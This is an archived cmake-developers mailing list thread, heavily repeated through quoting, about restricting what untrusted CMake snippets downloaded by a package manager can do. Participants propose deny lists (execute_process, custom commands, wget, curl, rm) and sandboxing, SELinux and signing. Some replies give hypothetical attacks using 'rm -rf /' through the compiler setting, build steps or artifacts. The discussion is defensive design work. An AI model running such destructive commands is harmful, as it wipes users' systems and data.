Re: [cmake-developers] Security in CMake
The most of the functions could be overloaded. You could overload those functions, filter options out and pass the new options to the original function which starts with and '_' underscore. The most of the CMake module files could also be overloaded. Hope it helps Best regards Roman > Am 21.08.2016 um 10:24 schrieb Tobias Hunger : > > Hi Egor, > > Am 20.08.2016 23:42 schrieb "Egor Pugin" : > > You are right at many points. It's hard to really secure the system > > from build system/build artifacts/3rd party apps. > > But step by step it's possible to decrease number of potential sources > > of vulnerabilities. > > Retrofitting security into a product that was designed without any > consideration for security from the start is going to be hard. > > I do not know what you want to do, so I am not going to claim it is > impossible:-) > > > Described cmake features would be very helpful for this. > > Right now I'm just investigating possible security improvements and > > this is only 'nice-to-have' feature. > > What are the attack scenarios you want to defend against? What should not be > possible in your system that currently is in CMake? How do these steps help > in securing against those attacks? > > As a user of CMake I am very much opposed to disabling functionality based on > the context: That forces me to keep more state in my head when reading > CMakeLists.txt files. CMake does way too much in a way to obscure syntax > already! > > Best regards, > Tobias > > > On 21 August 2016 at 00:25, Tobias Hunger wrote: > > > Hi Egor, > > > > > > Am 20.08.2016 13:48 schrieb "Egor Pugin" : > > >> > > >> Hi, > > >> > > >> I'm working on a package manager based on cmake. > > >> And some cmake instructions are downloaded with user packages. > > >> I'd like to have an ability to deny some cmake features in such > > >> external untrusted insertions. > > > > > > I am no CMake expert, but you are talking about securing a program that is > > > meant to take arbitrary input and run user-defined commands on that to > > > produce possibly executable output. > > > > > > I do not see any safe subset of CMake commands that is still able to do > > > anything useful. > > > > > > I can see a way for "insertions" to be useful, that does not involve them > > > changing the configuration (e.g. for a cross compiler), involve running > > > some > > > 3rd party program (e.g. to add support for a new documentation system, > > > parser generator or whatnot), or the production of build artifacts (e.g. > > > build some library for the developer to use). > > > > > > *All* of these are inheritently unsafe. > > > > > > Configuration change: Change the C compiler to rm and pass force -rf -- / > > > as > > > flags. > > > > > > 3rd party program: Run rm -rf / when some certain input file is seen. > > > > > > Build artifacts: Put running rm -rf / into the binary/library so that this > > > is run during normal development workflow. > > > > > > I would try to run my package manager in an environment where running rm > > > -rf > > > is harmless to the overall system health. Virtual machines or containers > > > spring to mind there. Not sure that is feasible. > > > > > > Or come up with insertions signing, etc. so that users can at least know > > > they got what was uploaded and know whom to blame when their systems get > > > wiped. > > > > > > Beat Regards, > > > Tobias > > > > > > > > -- > > Egor Pugin > > -- > > Powered by www.kitware.com > > Please keep messages on-topic and check the CMake FAQ at: > http://www.cmake.org/Wiki/CMake_FAQ > > Kitware offers various services to support the CMake community. For more > information on each offering, please visit: > > CMake Support: http://cmake.org/cmake/help/support.html > CMake Consulting: http://cmake.org/cmake/help/consulting.html > CMake Training Courses: http://cmake.org/cmake/help/training.html > > Visit other Kitware open-source projects at > http://www.kitware.com/opensource/opensource.html > > Follow this link to subscribe/unsubscribe: > http://public.kitware.com/mailman/listinfo/cmake-developers -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers
Re: [cmake-developers] Security in CMake
Hi,
For those who may be interested I will leave this message here.
Mentioned package (dependency) manager is C++ Archive Network.
https://cppan.org/
It generates CMakeLists.txt from specification files.
It manages packages' dependencies, versions, different OSs (it's
crossplatform from very beginning), handles crossplatform builds very
easy (build will inherit your current project settings and
autocrossplaform all deps). All builds are cached too - you build your
dependency only once. Static/shared mt/md 32/64 deb/rel/... different
toolchains (vc11, vc12,vc14, clangX.X, gcc-X) are handled and
supported out of the box (with help of CMake).
It also stores sources on its site, so they shouldn't be lost.
And more to come.
I've added a lot of popular packages. I didn't do much advertisement
yet, so cppan is used only by a few people/projects at the moment.
In my 'to add' list of big and very known projects: opencv (near
future), qt (qt-lite?, ~ end of 2016).
I'm adding small projects from time to time.
Feel free to contact me here or privately.
On 22 August 2016 at 20:52, Egor Pugin wrote:
> Hi Chuck,
>
>> Is this intended to run on Linux?
>
> Yes. And thanks for the pointing out to SELinux. I'll add it to my checklist.
>
> ---
>
> The system is on very early stages now, so its parts are changing
> rapidly and I'm able to consider different approaches to its
> subsystems (including security).
> But I probably confused all of you with the words 'package manager'.
> It's the package manager only in the narrow sense. It's not trying to
> be another apt, yum etc. Sorry that I didn't provide much details, but
> the original topic is very precise and I think I'll return to it a bit
> later when the functionality of the system will be in more stable
> state.
>
>
> On 22 August 2016 at 20:17, Chuck Atkins wrote:
>> Hi Egor,
>> Is this intended to run on Linux? If so, I think you're FAR better off
>> leveraging an existing security framework like SELinux, since it's actually
>> designed from the ground up to enforce these types of controls. You could
>> define a label that you place on the executables run by the package manager
>> and then enforce whatever restrictions and controls you feel are
>> appropriate. This will let you do things like block network access got the
>> specific CMake executable used by the package system. It allows the CMake
>> scripts to leverage all the available language and command features but
>> deny, ant a system level, actions you deem unsafe or harmful.
>>
>> --
>> Chuck Atkins
>> Staff R&D Engineer, Scientific Computing
>> Kitware, Inc.
>>
>>
>> On Sun, Aug 21, 2016 at 2:02 PM, Egor Pugin wrote:
>>>
>>> > What is the attack you want to stop? What are bad scripts and commands
>>> > in this context?
>>>
>>> I wrote them in the first message. For example,
>>> - any cmake commands that use COMMAND keyword (execute_process(COMMAND
>>> ...), add_custom_{command|target}(...) etc. This will deny any user
>>> scripts, programs (wget, curl, rm, ...).
>>> - download commands (CMake's builtin curl) - they can fill the drives
>>> with trash.
>>>
>>> > CMake runs lots of commands all the time. Most can be changed by a user,
>>> > many are changed by the generator based on environment and whatnot. Any of
>>> > these may be bad commands -- based on configuration.
>>>
>>> Yes, and it should deny only stuff above in small CMakeLists.txt part
>>> that will be protected with some other commands or policies.
>>>
>>> > But if CMake gets a secure mode for your generator and if that is merged
>>> > upstream, then I need to know about that when reading or writing
>>> > CMakeLists.txt.
>>>
>>> For the moment I'm just asking about possibility of implementation of
>>> these features. Any decision will go from CMake guys, not from me. So,
>>> you shouldn't ask me about it. :)
>>>
>>> > Generated code is safe only as long as you very tightly control the
>>> > environment CMake runs in.
>>>
>>> I don't care what is around, what is in user env. This is his
>>> responsibility. I'm just worrying for my parts of CMake stuff.
>>>
>>> On 21 August 2016 at 20:43, Tobias Hunger wrote:
>>> > Hi Egor,
>>> >
>>> > Am 21.08.2016 12:34 schrieb "Egor Pugin" :
>>> >>
>>> >> > What are the attack scenarios you want to defend against? What should
>>> >> > not be possible in your system that currently is in CMake?
>>> >>
>>> >> At least downloading or executing bad scripts and commands.
>>> >
>>> > What is the attack you want to stop? What are bad scripts and commands
>>> > in
>>> > this context?
>>> >
>>> > CMake runs lots of commands all the time. Most can be changed by a user,
>>> > many are changed by the generator based on environment and whatnot. Any
>>> > of
>>> > these may be bad commands -- based on configuration.
>>> >
>>> > Downloading can be done using internal commands or by running e.g. wget
>>> > or
>>> > curl, both of which are pretty widely available on developer machines.
>>> >
>>> >> > That force
Re: [cmake-developers] Security in CMake
Hi Chuck,
> Is this intended to run on Linux?
Yes. And thanks for the pointing out to SELinux. I'll add it to my checklist.
---
The system is on very early stages now, so its parts are changing
rapidly and I'm able to consider different approaches to its
subsystems (including security).
But I probably confused all of you with the words 'package manager'.
It's the package manager only in the narrow sense. It's not trying to
be another apt, yum etc. Sorry that I didn't provide much details, but
the original topic is very precise and I think I'll return to it a bit
later when the functionality of the system will be in more stable
state.
On 22 August 2016 at 20:17, Chuck Atkins wrote:
> Hi Egor,
> Is this intended to run on Linux? If so, I think you're FAR better off
> leveraging an existing security framework like SELinux, since it's actually
> designed from the ground up to enforce these types of controls. You could
> define a label that you place on the executables run by the package manager
> and then enforce whatever restrictions and controls you feel are
> appropriate. This will let you do things like block network access got the
> specific CMake executable used by the package system. It allows the CMake
> scripts to leverage all the available language and command features but
> deny, ant a system level, actions you deem unsafe or harmful.
>
> --
> Chuck Atkins
> Staff R&D Engineer, Scientific Computing
> Kitware, Inc.
>
>
> On Sun, Aug 21, 2016 at 2:02 PM, Egor Pugin wrote:
>>
>> > What is the attack you want to stop? What are bad scripts and commands
>> > in this context?
>>
>> I wrote them in the first message. For example,
>> - any cmake commands that use COMMAND keyword (execute_process(COMMAND
>> ...), add_custom_{command|target}(...) etc. This will deny any user
>> scripts, programs (wget, curl, rm, ...).
>> - download commands (CMake's builtin curl) - they can fill the drives
>> with trash.
>>
>> > CMake runs lots of commands all the time. Most can be changed by a user,
>> > many are changed by the generator based on environment and whatnot. Any of
>> > these may be bad commands -- based on configuration.
>>
>> Yes, and it should deny only stuff above in small CMakeLists.txt part
>> that will be protected with some other commands or policies.
>>
>> > But if CMake gets a secure mode for your generator and if that is merged
>> > upstream, then I need to know about that when reading or writing
>> > CMakeLists.txt.
>>
>> For the moment I'm just asking about possibility of implementation of
>> these features. Any decision will go from CMake guys, not from me. So,
>> you shouldn't ask me about it. :)
>>
>> > Generated code is safe only as long as you very tightly control the
>> > environment CMake runs in.
>>
>> I don't care what is around, what is in user env. This is his
>> responsibility. I'm just worrying for my parts of CMake stuff.
>>
>> On 21 August 2016 at 20:43, Tobias Hunger wrote:
>> > Hi Egor,
>> >
>> > Am 21.08.2016 12:34 schrieb "Egor Pugin" :
>> >>
>> >> > What are the attack scenarios you want to defend against? What should
>> >> > not be possible in your system that currently is in CMake?
>> >>
>> >> At least downloading or executing bad scripts and commands.
>> >
>> > What is the attack you want to stop? What are bad scripts and commands
>> > in
>> > this context?
>> >
>> > CMake runs lots of commands all the time. Most can be changed by a user,
>> > many are changed by the generator based on environment and whatnot. Any
>> > of
>> > these may be bad commands -- based on configuration.
>> >
>> > Downloading can be done using internal commands or by running e.g. wget
>> > or
>> > curl, both of which are pretty widely available on developer machines.
>> >
>> >> > That forces me to keep more state in my head when reading
>> >> > CMakeLists.txt
>> >> > files.
>> >>
>> >> CMake files are generated in my system. That's what I mean when I said
>> >> 'based on CMake'.
>> >
>> > Sure. But if CMake gets a secure mode for your generator and if that is
>> > merged upstream, then I need to know about that when reading or writing
>> > CMakeLists.txt.
>> >
>> >> It's like compiler compiler like yacc, bison, lex, flex. They are
>> >> producing output not for human readers, but for computer parsers.
>> >> And that's why generated code is safe and insertions from users are
>> >> not.
>> >
>> > Generated code is safe only as long as you very tightly control the
>> > environment CMake runs in.
>> >
>> >> Also in the most cases there's no any insertions at all, so it's rare
>> >> case.
>> >
>> > I'm sure you know what you are doing:)
>> >
>> > Best regards,
>> > Tobias
>>
>>
>>
>> --
>> Egor Pugin
>> --
>>
>> Powered by www.kitware.com
>>
>> Please keep messages on-topic and check the CMake FAQ at:
>> http://www.cmake.org/Wiki/CMake_FAQ
>>
>> Kitware offers various services to support the CMake community. For more
>> information on each offering, please visit:
>>
>> CMake Support: http
Re: [cmake-developers] Security in CMake
Hi Egor,
Is this intended to run on Linux? If so, I think you're FAR better off
leveraging an existing security framework like SELinux, since it's actually
designed from the ground up to enforce these types of controls. You could
define a label that you place on the executables run by the package manager
and then enforce whatever restrictions and controls you feel are
appropriate. This will let you do things like block network access got the
specific CMake executable used by the package system. It allows the CMake
scripts to leverage all the available language and command features but
deny, ant a system level, actions you deem unsafe or harmful.
--
Chuck Atkins
Staff R&D Engineer, Scientific Computing
Kitware, Inc.
<%28518%29%20881-1183>
On Sun, Aug 21, 2016 at 2:02 PM, Egor Pugin wrote:
> > What is the attack you want to stop? What are bad scripts and commands
> in this context?
>
> I wrote them in the first message. For example,
> - any cmake commands that use COMMAND keyword (execute_process(COMMAND
> ...), add_custom_{command|target}(...) etc. This will deny any user
> scripts, programs (wget, curl, rm, ...).
> - download commands (CMake's builtin curl) - they can fill the drives
> with trash.
>
> > CMake runs lots of commands all the time. Most can be changed by a user,
> many are changed by the generator based on environment and whatnot. Any of
> these may be bad commands -- based on configuration.
>
> Yes, and it should deny only stuff above in small CMakeLists.txt part
> that will be protected with some other commands or policies.
>
> > But if CMake gets a secure mode for your generator and if that is merged
> upstream, then I need to know about that when reading or writing
> CMakeLists.txt.
>
> For the moment I'm just asking about possibility of implementation of
> these features. Any decision will go from CMake guys, not from me. So,
> you shouldn't ask me about it. :)
>
> > Generated code is safe only as long as you very tightly control the
> environment CMake runs in.
>
> I don't care what is around, what is in user env. This is his
> responsibility. I'm just worrying for my parts of CMake stuff.
>
> On 21 August 2016 at 20:43, Tobias Hunger wrote:
> > Hi Egor,
> >
> > Am 21.08.2016 12:34 schrieb "Egor Pugin" :
> >>
> >> > What are the attack scenarios you want to defend against? What should
> >> > not be possible in your system that currently is in CMake?
> >>
> >> At least downloading or executing bad scripts and commands.
> >
> > What is the attack you want to stop? What are bad scripts and commands in
> > this context?
> >
> > CMake runs lots of commands all the time. Most can be changed by a user,
> > many are changed by the generator based on environment and whatnot. Any
> of
> > these may be bad commands -- based on configuration.
> >
> > Downloading can be done using internal commands or by running e.g. wget
> or
> > curl, both of which are pretty widely available on developer machines.
> >
> >> > That forces me to keep more state in my head when reading
> CMakeLists.txt
> >> > files.
> >>
> >> CMake files are generated in my system. That's what I mean when I said
> >> 'based on CMake'.
> >
> > Sure. But if CMake gets a secure mode for your generator and if that is
> > merged upstream, then I need to know about that when reading or writing
> > CMakeLists.txt.
> >
> >> It's like compiler compiler like yacc, bison, lex, flex. They are
> >> producing output not for human readers, but for computer parsers.
> >> And that's why generated code is safe and insertions from users are not.
> >
> > Generated code is safe only as long as you very tightly control the
> > environment CMake runs in.
> >
> >> Also in the most cases there's no any insertions at all, so it's rare
> >> case.
> >
> > I'm sure you know what you are doing:)
> >
> > Best regards,
> > Tobias
>
>
>
> --
> Egor Pugin
> --
>
> Powered by www.kitware.com
>
> Please keep messages on-topic and check the CMake FAQ at:
> http://www.cmake.org/Wiki/CMake_FAQ
>
> Kitware offers various services to support the CMake community. For more
> information on each offering, please visit:
>
> CMake Support: http://cmake.org/cmake/help/support.html
> CMake Consulting: http://cmake.org/cmake/help/consulting.html
> CMake Training Courses: http://cmake.org/cmake/help/training.html
>
> Visit other Kitware open-source projects at http://www.kitware.com/opensou
> rce/opensource.html
>
> Follow this link to subscribe/unsubscribe:
> http://public.kitware.com/mailman/listinfo/cmake-developers
>
--
Powered by www.kitware.com
Please keep messages on-topic and check the CMake FAQ at:
http://www.cmake.org/Wiki/CMake_FAQ
Kitware offers various services to support the CMake community. For more
information on each offering, please visit:
CMake Support: http://cmake.org/cmake/help/support.html
CMake Consulting: http://cmake.org/cmake/help/consulting.html
CMake Training Courses: http://cmake.org/cmake/help/training.html
Visit other Kitware op
Re: [cmake-developers] Security in CMake
Hi Egor, On Sat, Aug 20, 2016 at 1:48 PM, Egor Pugin wrote: > Hi, > > I'm working on a package manager based on cmake. Please rethink that approach. Your package manager should support CMake. It should not be based on it. Your design will be safer and more flexible. Cheers, Daniel -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers
Re: [cmake-developers] Security in CMake
> What is the attack you want to stop? What are bad scripts and commands in
> this context?
I wrote them in the first message. For example,
- any cmake commands that use COMMAND keyword (execute_process(COMMAND
...), add_custom_{command|target}(...) etc. This will deny any user
scripts, programs (wget, curl, rm, ...).
- download commands (CMake's builtin curl) - they can fill the drives
with trash.
> CMake runs lots of commands all the time. Most can be changed by a user, many
> are changed by the generator based on environment and whatnot. Any of these
> may be bad commands -- based on configuration.
Yes, and it should deny only stuff above in small CMakeLists.txt part
that will be protected with some other commands or policies.
> But if CMake gets a secure mode for your generator and if that is merged
> upstream, then I need to know about that when reading or writing
> CMakeLists.txt.
For the moment I'm just asking about possibility of implementation of
these features. Any decision will go from CMake guys, not from me. So,
you shouldn't ask me about it. :)
> Generated code is safe only as long as you very tightly control the
> environment CMake runs in.
I don't care what is around, what is in user env. This is his
responsibility. I'm just worrying for my parts of CMake stuff.
On 21 August 2016 at 20:43, Tobias Hunger wrote:
> Hi Egor,
>
> Am 21.08.2016 12:34 schrieb "Egor Pugin" :
>>
>> > What are the attack scenarios you want to defend against? What should
>> > not be possible in your system that currently is in CMake?
>>
>> At least downloading or executing bad scripts and commands.
>
> What is the attack you want to stop? What are bad scripts and commands in
> this context?
>
> CMake runs lots of commands all the time. Most can be changed by a user,
> many are changed by the generator based on environment and whatnot. Any of
> these may be bad commands -- based on configuration.
>
> Downloading can be done using internal commands or by running e.g. wget or
> curl, both of which are pretty widely available on developer machines.
>
>> > That forces me to keep more state in my head when reading CMakeLists.txt
>> > files.
>>
>> CMake files are generated in my system. That's what I mean when I said
>> 'based on CMake'.
>
> Sure. But if CMake gets a secure mode for your generator and if that is
> merged upstream, then I need to know about that when reading or writing
> CMakeLists.txt.
>
>> It's like compiler compiler like yacc, bison, lex, flex. They are
>> producing output not for human readers, but for computer parsers.
>> And that's why generated code is safe and insertions from users are not.
>
> Generated code is safe only as long as you very tightly control the
> environment CMake runs in.
>
>> Also in the most cases there's no any insertions at all, so it's rare
>> case.
>
> I'm sure you know what you are doing:)
>
> Best regards,
> Tobias
--
Egor Pugin
--
Powered by www.kitware.com
Please keep messages on-topic and check the CMake FAQ at:
http://www.cmake.org/Wiki/CMake_FAQ
Kitware offers various services to support the CMake community. For more
information on each offering, please visit:
CMake Support: http://cmake.org/cmake/help/support.html
CMake Consulting: http://cmake.org/cmake/help/consulting.html
CMake Training Courses: http://cmake.org/cmake/help/training.html
Visit other Kitware open-source projects at
http://www.kitware.com/opensource/opensource.html
Follow this link to subscribe/unsubscribe:
http://public.kitware.com/mailman/listinfo/cmake-developers
Re: [cmake-developers] Security in CMake
Hi Egor, Am 21.08.2016 12:34 schrieb "Egor Pugin" : > > > What are the attack scenarios you want to defend against? What should not be possible in your system that currently is in CMake? > > At least downloading or executing bad scripts and commands. What is the attack you want to stop? What are bad scripts and commands in this context? CMake runs lots of commands all the time. Most can be changed by a user, many are changed by the generator based on environment and whatnot. Any of these may be bad commands -- based on configuration. Downloading can be done using internal commands or by running e.g. wget or curl, both of which are pretty widely available on developer machines. > > That forces me to keep more state in my head when reading CMakeLists.txt files. > > CMake files are generated in my system. That's what I mean when I said > 'based on CMake'. Sure. But if CMake gets a secure mode for your generator and if that is merged upstream, then I need to know about that when reading or writing CMakeLists.txt. > It's like compiler compiler like yacc, bison, lex, flex. They are > producing output not for human readers, but for computer parsers. > And that's why generated code is safe and insertions from users are not. Generated code is safe only as long as you very tightly control the environment CMake runs in. > Also in the most cases there's no any insertions at all, so it's rare case. I'm sure you know what you are doing:) Best regards, Tobias -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers
Re: [cmake-developers] Security in CMake
> What are the attack scenarios you want to defend against? What should not be > possible in your system that currently is in CMake? At least downloading or executing bad scripts and commands. > That forces me to keep more state in my head when reading CMakeLists.txt > files. CMake files are generated in my system. That's what I mean when I said 'based on CMake'. It's like compiler compiler like yacc, bison, lex, flex. They are producing output not for human readers, but for computer parsers. And that's why generated code is safe and insertions from users are not. Also in the most cases there's no any insertions at all, so it's rare case. On 21 August 2016 at 11:24, Tobias Hunger wrote: > Hi Egor, > > Am 20.08.2016 23:42 schrieb "Egor Pugin" : >> You are right at many points. It's hard to really secure the system >> from build system/build artifacts/3rd party apps. >> But step by step it's possible to decrease number of potential sources >> of vulnerabilities. > > Retrofitting security into a product that was designed without any > consideration for security from the start is going to be hard. > > I do not know what you want to do, so I am not going to claim it is > impossible:-) > >> Described cmake features would be very helpful for this. >> Right now I'm just investigating possible security improvements and >> this is only 'nice-to-have' feature. > > What are the attack scenarios you want to defend against? What should not be > possible in your system that currently is in CMake? How do these steps help > in securing against those attacks? > > As a user of CMake I am very much opposed to disabling functionality based > on the context: That forces me to keep more state in my head when reading > CMakeLists.txt files. CMake does way too much in a way to obscure syntax > already! > > Best regards, > Tobias > >> On 21 August 2016 at 00:25, Tobias Hunger wrote: >> > Hi Egor, >> > >> > Am 20.08.2016 13:48 schrieb "Egor Pugin" : >> >> >> >> Hi, >> >> >> >> I'm working on a package manager based on cmake. >> >> And some cmake instructions are downloaded with user packages. >> >> I'd like to have an ability to deny some cmake features in such >> >> external untrusted insertions. >> > >> > I am no CMake expert, but you are talking about securing a program that >> > is >> > meant to take arbitrary input and run user-defined commands on that to >> > produce possibly executable output. >> > >> > I do not see any safe subset of CMake commands that is still able to do >> > anything useful. >> > >> > I can see a way for "insertions" to be useful, that does not involve >> > them >> > changing the configuration (e.g. for a cross compiler), involve running >> > some >> > 3rd party program (e.g. to add support for a new documentation system, >> > parser generator or whatnot), or the production of build artifacts (e.g. >> > build some library for the developer to use). >> > >> > *All* of these are inheritently unsafe. >> > >> > Configuration change: Change the C compiler to rm and pass force -rf -- >> > / as >> > flags. >> > >> > 3rd party program: Run rm -rf / when some certain input file is seen. >> > >> > Build artifacts: Put running rm -rf / into the binary/library so that >> > this >> > is run during normal development workflow. >> > >> > I would try to run my package manager in an environment where running rm >> > -rf >> > is harmless to the overall system health. Virtual machines or containers >> > spring to mind there. Not sure that is feasible. >> > >> > Or come up with insertions signing, etc. so that users can at least know >> > they got what was uploaded and know whom to blame when their systems get >> > wiped. >> > >> > Beat Regards, >> > Tobias >> >> >> >> -- >> Egor Pugin -- Egor Pugin -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers
Re: [cmake-developers] Security in CMake
Hi Egor, Am 20.08.2016 23:42 schrieb "Egor Pugin" : > You are right at many points. It's hard to really secure the system > from build system/build artifacts/3rd party apps. > But step by step it's possible to decrease number of potential sources > of vulnerabilities. Retrofitting security into a product that was designed without any consideration for security from the start is going to be hard. I do not know what you want to do, so I am not going to claim it is impossible:-) > Described cmake features would be very helpful for this. > Right now I'm just investigating possible security improvements and > this is only 'nice-to-have' feature. What are the attack scenarios you want to defend against? What should not be possible in your system that currently is in CMake? How do these steps help in securing against those attacks? As a user of CMake I am very much opposed to disabling functionality based on the context: That forces me to keep more state in my head when reading CMakeLists.txt files. CMake does way too much in a way to obscure syntax already! Best regards, Tobias > On 21 August 2016 at 00:25, Tobias Hunger wrote: > > Hi Egor, > > > > Am 20.08.2016 13:48 schrieb "Egor Pugin" : > >> > >> Hi, > >> > >> I'm working on a package manager based on cmake. > >> And some cmake instructions are downloaded with user packages. > >> I'd like to have an ability to deny some cmake features in such > >> external untrusted insertions. > > > > I am no CMake expert, but you are talking about securing a program that is > > meant to take arbitrary input and run user-defined commands on that to > > produce possibly executable output. > > > > I do not see any safe subset of CMake commands that is still able to do > > anything useful. > > > > I can see a way for "insertions" to be useful, that does not involve them > > changing the configuration (e.g. for a cross compiler), involve running some > > 3rd party program (e.g. to add support for a new documentation system, > > parser generator or whatnot), or the production of build artifacts (e.g. > > build some library for the developer to use). > > > > *All* of these are inheritently unsafe. > > > > Configuration change: Change the C compiler to rm and pass force -rf -- / as > > flags. > > > > 3rd party program: Run rm -rf / when some certain input file is seen. > > > > Build artifacts: Put running rm -rf / into the binary/library so that this > > is run during normal development workflow. > > > > I would try to run my package manager in an environment where running rm -rf > > is harmless to the overall system health. Virtual machines or containers > > spring to mind there. Not sure that is feasible. > > > > Or come up with insertions signing, etc. so that users can at least know > > they got what was uploaded and know whom to blame when their systems get > > wiped. > > > > Beat Regards, > > Tobias > > > > -- > Egor Pugin -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/mailman/listinfo/cmake-developers
Re: [cmake-developers] Security in CMake
CMake is not and can never be a replacement for a package manager. They serve entirely different roles. While you can extend CMake to give it the ability to build and install all sorts stuff, that does not make it a package manager. It's a convenient way to build a complex set of interdependent packages, but that's all it is. I think trying to make it do more than that is dangerous; it's currently got a fairly clearly defined scope, and there are numerous established tools to take care of packaging. Basically, I do worry about the potential for scope creep here. Speaking from my own experience as one of the main authors of the Debian build tools (sbuild, schroot): - every package is built individually in a secure sandbox which is created before the build and deleted after it. I wrote a tool specifically for this purpose (schroot)--predating docker, openstack and all the current hip stuff. You should probably use a more up to date technology yourself; the main point I wanted to make was the isolation of the filesystem, network, user etc. for the build step; we run the build step without any functional networking other than the loopback to ensure every package cleanly builds as a self-contained entity - a package might be using CMake for its build, inside the sandbox, but CMake has no involvement at a higher level This means that any malicious or accidental privilege escalation, file deletion or whatever is contained and will not cause problems. And if there is anything wrong, we blow the whole lot away as a matter of course anyway. - when the packaged binary is installed, there is no code execution outside the (optional) maintainer scripts; everything else is just a static set of files which get installed. This is completely decoupled from CMake, or whatever build system was used for the build step. When it comes to CMake building using a super-build and/or running find_package and executing third-party Config scripts, other CMake modules etc. this is clearly unsafe. There's clearly scope for unbounded code execution by this code. While these might be required for the build step, there's no need for them to have any influence or involvement for the package creation step and subsequent installation/upgrade/removal by the package manager. Regards, Roger On 20/08/16 22:42, Egor Pugin wrote: Hi Tobias, You are right at many points. It's hard to really secure the system from build system/build artifacts/3rd party apps. But step by step it's possible to decrease number of potential sources of vulnerabilities. Described cmake features would be very helpful for this. Right now I'm just investigating possible security improvements and this is only 'nice-to-have' feature. On 21 August 2016 at 00:25, Tobias Hunger wrote: Hi Egor, Am 20.08.2016 13:48 schrieb "Egor Pugin" : Hi, I'm working on a package manager based on cmake. And some cmake instructions are downloaded with user packages. I'd like to have an ability to deny some cmake features in such external untrusted insertions. I am no CMake expert, but you are talking about securing a program that is meant to take arbitrary input and run user-defined commands on that to produce possibly executable output. I do not see any safe subset of CMake commands that is still able to do anything useful. I can see a way for "insertions" to be useful, that does not involve them changing the configuration (e.g. for a cross compiler), involve running some 3rd party program (e.g. to add support for a new documentation system, parser generator or whatnot), or the production of build artifacts (e.g. build some library for the developer to use). *All* of these are inheritently unsafe. Configuration change: Change the C compiler to rm and pass force -rf -- / as flags. 3rd party program: Run rm -rf / when some certain input file is seen. Build artifacts: Put running rm -rf / into the binary/library so that this is run during normal development workflow. I would try to run my package manager in an environment where running rm -rf is harmless to the overall system health. Virtual machines or containers spring to mind there. Not sure that is feasible. Or come up with insertions signing, etc. so that users can at least know they got what was uploaded and know whom to blame when their systems get wiped. Beat Regards, Tobias -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: http://cmake.org/cmake/help/training.html Visit other Kitware open-source projects at http://www.kitware.com/opensource/opensource.html Follow this link to subscribe/unsubscribe: http://public.kitware.com/ma
Re: [cmake-developers] Security in CMake
Hi Tobias, You are right at many points. It's hard to really secure the system from build system/build artifacts/3rd party apps. But step by step it's possible to decrease number of potential sources of vulnerabilities. Described cmake features would be very helpful for this. Right now I'm just investigating possible security improvements and this is only 'nice-to-have' feature. On 21 August 2016 at 00:25, Tobias Hunger wrote: > Hi Egor, > > Am 20.08.2016 13:48 schrieb "Egor Pugin" : >> >> Hi, >> >> I'm working on a package manager based on cmake. >> And some cmake instructions are downloaded with user packages. >> I'd like to have an ability to deny some cmake features in such >> external untrusted insertions. > > I am no CMake expert, but you are talking about securing a program that is > meant to take arbitrary input and run user-defined commands on that to > produce possibly executable output. > > I do not see any safe subset of CMake commands that is still able to do > anything useful. > > I can see a way for "insertions" to be useful, that does not involve them > changing the configuration (e.g. for a cross compiler), involve running some > 3rd party program (e.g. to add support for a new documentation system, > parser generator or whatnot), or the production of build artifacts (e.g. > build some library for the developer to use). > > *All* of these are inheritently unsafe. > > Configuration change: Change the C compiler to rm and pass force -rf -- / as > flags. > > 3rd party program: Run rm -rf / when some certain input file is seen. > > Build artifacts: Put running rm -rf / into the binary/library so that this > is run during normal development workflow. > > I would try to run my package manager in an environment where running rm -rf > is harmless to the overall system health. Virtual machines or containers > spring to mind there. Not sure that is feasible. > > Or come up with insertions signing, etc. so that users can at least know > they got what was uploaded and know whom to blame when their systems get > wiped. > > Beat Regards, > Tobias -- Egor Pugin -- Powered by www.kitware.com Please keep messages on-topic and check the CMake FAQ at: http://www.cmake.org/Wiki/CMake_FAQ Kitware offers various services to support the CMake community. For more information on each offering, please visit: CMake Support: http://cmake.org/cmake/help/support.html CMake Consulting: http://cmake.org/cmake/help/consulting.html CMake Training Courses: 